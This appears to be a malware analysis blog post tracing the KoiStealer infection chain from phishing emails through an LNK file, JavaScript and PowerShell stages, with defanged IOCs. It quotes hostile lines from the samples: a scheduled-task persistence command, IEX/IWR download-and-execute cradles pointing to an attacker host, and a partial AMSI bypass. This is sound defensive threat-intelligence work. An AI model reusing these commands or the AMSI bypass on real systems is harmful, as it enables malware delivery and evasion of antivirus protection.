KoiStealer Analysis: Initial loader to credential exfiltration

Overview

• Sample Name/Label: KoiStealer
• Date of Analysis: 01-06‑2025
• Summary: KoiStealer is typically distributed via phishing emails with malicious document attachments. Once executed, it collects browser-stored passwords, autofill data, and basic system information, then exfiltrates the data to a command-and-control server using obfuscated HTTP POST requests. The malware employs string obfuscation, anti‑VM checks, and staged execution to evade detection and delay analysis.

Infection chain:

• Inital email –> victim responds –> attacker sends email with link –> link –> web page –> zip download –> extracted .lnk –> Koi Loader traffic –> Koi Stealer traffic

Initial Attack Vector

The beginning Koi loaders are often distributed through targeted phishing campaigns over email with malicious attachments. These attachments are disguised as legitimate documents to manipulate victims into unknowingly downloading the malware. Although, the loaders have also been observed being distributed through watering hole attacks (compromised legitimate websites) and in software bundling (free/cracked applications).

However, during this analysis we will be looking into the email attack vector which is where this analysis will start with the first two samples files ‘initial-email.eml’ and ‘followup-email-with-link.eml’

Phishing email breakdown

To begin with we will start by extracting the body of the email using the tool ‘emldump.py’ to direct the output to a simple txt file for us to read the main content of the email.

Once complete we can then review the email content…

Reviewing this we can see that the initial email aims to start a generic conversation with the victim by stating they have placed an order and are awaiting a confirmation email. This doesn’t appear to contain any links/redirection or malware attachments at this stage but this will be checked further.

However, at the bottom of the email there is a 1x1 image tag that contains the src link:

• "hxxps://lixowaste.com/campaigns/km608bdrca3ed/track-opening/hb8006rn3789c"

This image tag appears to be a tracking beacon used by the advesary to confirm recipient interest to then prep with a follow-up phishing email.

Proceeding on from this the next part to analyse is the headers. Here we will try to extract the sender address, IP address, return path and more. This will help us to extract some initial IOCs and spot any anomalies or spoofing attempts. To do this we will use the below command which will extract the first 20 lines (header content) and output it into a .txt file for improved readability.

• head -n 20 initial-email.eml > headers.txt

Notable details:

• ada.gomez@goodgpl.com – From email address

• 54.240.4.24 – From IP address

Reviewing the IP address on AbuseIPDB we can see that this IP address has been reported before related to this nature of activity.

When analysing this IP address through varalyze (https://github.com/brayden031/varalyze) we also get a moderate ranking score which likely indicates at involvement in suspicious activity.

Moving on from this first stage email we will now look at the follow up email that is sent to victims - ‘followup-email-with-link.eml’

Employing the same steps previously used to strip apart the first email we get the following content..

This time we can see the adversary has stated they’ve attached a bank statement to the email with the title ‘wells_fargo_statement.pdf’ However, instead of an actual attachment, the email contains a link to a googles site page:

• hxxps://sites.google[.]com/view/53bpt-files/easy-exchange?sharedfile=wells_fargo_statement.pdf&hid=8620124953

Upon visiting the site, the page appears to host a spoofed document viewer or drive interface. It includes a CAPTCHA or fake Google login prompt, likely intended to build user trust and bypass automated analysis platforms.

Stage 1: LNK File

Notably, as identified by the Unit42 IOC list this page has been associated with secondary network traffic to:

• hxxps://mucecsas[.]com/green/jocote.php?id=[short alphanumeric string]

Although this secondary domain did not trigger during static sandbox runs (e.g., URLScan, VirusTotal), it’s likely called only after user interaction, such as when the CAPTCHA loads or is solved.

After downloading the zip and extracting the contents we are presented with the lnk (windows shortcut) file: “wells_fargo_statement.lnk”

Running strings on the lnk file we receive the following interesting strings..

These strings are useful as indicates command execution is going to take place using cmd.exe to then launch msedge.exe to connect to the attackers next site for a further payload.

To dive into this file further we will extract the command-line arguements using the following command:

• strings -el wells_fargo_statement.lnk | grep -iE 'cmd|powershell|msedge|http|https|\.exe'

As seen the lnk file attempts to reach out to download the next payload from:

• hxxps[:]//lechiavetteusb[.]it/imgs/usb/logo/andantezWA.php

Furthermore, we can also persistence being established at this stage through the use of schtasks (scheduled tasks) by using the command:

• schtasks /create /sc minute /mo 1 /tn 7hj9Ccb53mglYte /f /tr "wscript '%tmp#e5J24LjIYudC.js' 7hj9Ccb53mglYte"

This executes the command every minute by using wscript to run a javascript file stored in the tmp directory.

In the above screenshots the network capture depicts attempted dns connections to the site ‘lechiavetteusb[.]it’ along with ‘e5J24LjIYudC.js’ trying to execute.

At the time of this analysis this page is no longer found suggesting that this delivery infrastructure is no longer active. Therefore, this infection stage appears non-functional, and further analysis can proceed from the assumption that the .php payload is unavailable.

Stage 2: JavaScript

The next stage uses a JavaScript downloader designed to retrieve the next stage of the infection chain and clean up its own scheduled task.

The JavaScript code executes the following:

Script breakdown:

• ActiveXOBject – Instantiates WScript.Shell to launch PowerShell.

• Run – Downloads next payload, cleanups previous scheduled task, runs next downloaded JavaScript using wscript.

• Run .. 0 – Script executes in hidden window from the user.

This stage acts as a pivot to download and execute the next payload whilst also attempting to cover its tracks.

Stage 3: JavaScript

The next stage follows similar mechanisms as the previous stage by downloading another JavaScript file to the victims machine.

The contents of this file are as follows…

As seen, the payload is obfuscated using broken strings and variable splitting to try and evade detection.

However, when reconstructed it becomes clear the main objective is to establish persistence and download two additional powershell payloads.

Script breakdown:

• schtasks /create /sc minute /mo 1 /tn 7hj9Ccb53mglYte /f /tr "wscript '%tmp%\\GALT9VCO8SHB.js'" – Persistence setup.

• bbj.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid') – Machine fingerprinting (unique identifier)

• IEX(IWR -UseBasicParsing 'hxxps://lechiavetteusb[.]it/imgs/usb/logo/khesariQUXH.ps1') – First powershell payload being downloaded.

• IEX(IWR -UseBasicParsing 'hxxps://lechiavetteusb[.[it/imgs/usb/logo/wizeninglYZn.ps1') - Second powershell payload being downloaded.

Stage 4a: Powershell #1

To begin this stage we will first look into the ‘khesariQUXH.ps1’ script by simply using the cat command.

To format this a bit clearer here is the output…

This powershell script serves the purpose of disabling AMSI (Antimalware Scan Interface) by corrupting the current AMSI session.

https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

This allows subsequent malicious scripts to execute without AV inspection.

Script breakdown:

• $a=[Ref].Assembly.GetTypes() – Stores all loaded assembly.

• $b.Name -like "*siUtils" – Matches type AmsiUtils.

• $d – Retrieves all non-public static fields of AmsiUtils.

• $e.Name -like "*ailed" - Matches the field amsiInitFailed, responsible for determining if AMSI is initialized.

• $vv = $e - Stores the reference to the field in $vv.

This is a modular AMSI bypass stage. It doesn’t execute the bypass itself but retrieves and stores a reference to the target field (amsiInitFailed).

Execution is likely deferred to a subsequent stage—providing code separation and evasion.

Resources used during this section:

• https://gist.github.com/Gr1mmie/91822c4b471e0af35d8ec6bf43a18bfc
• https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
• https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/

The next section will dive into the secondary powershell payload that was downloaded from stage 3.

Stage 4b: Powershell #2

🚨 Note: This sample is still being analysed at this time and will be regularly updated over the coming days/weeks 🚨

Indicators of Compromise (IOCs)

• File Hashes:

  • 510fe1efb4c907e23c4b0ad4e2aa33e4ed0575f8078e7a763a5fa3c82a7b327c - wells_fargo_statement.zip
  • 8e5e5103559d2f567adfc193605e3d1ec2170ee3a31e1330dbcd1e2b5cc4a3ec wells_fargo_statement.lnk

• Network IOCs:

  • hxxps://sites.google.com/view/53bpt-files/easy-exchange?sharedfile=wells_fargo_statement.pdf&hid=8620124953
  • hxxps://lechiavetteusb[.]it/imgs/usb/logo/andantezWA.php
  • hxxps://lechiavetteusb[.]it/imgs/usb/logo/arteriomalacia4hc.php
  • hxxps://lechiavetteusb[.]it/imgs/usb/logo/khesariQUXH.ps1
  • hxxps://lechiavetteusb[.]it/imgs/usb/logo/wizeninglYZn.ps1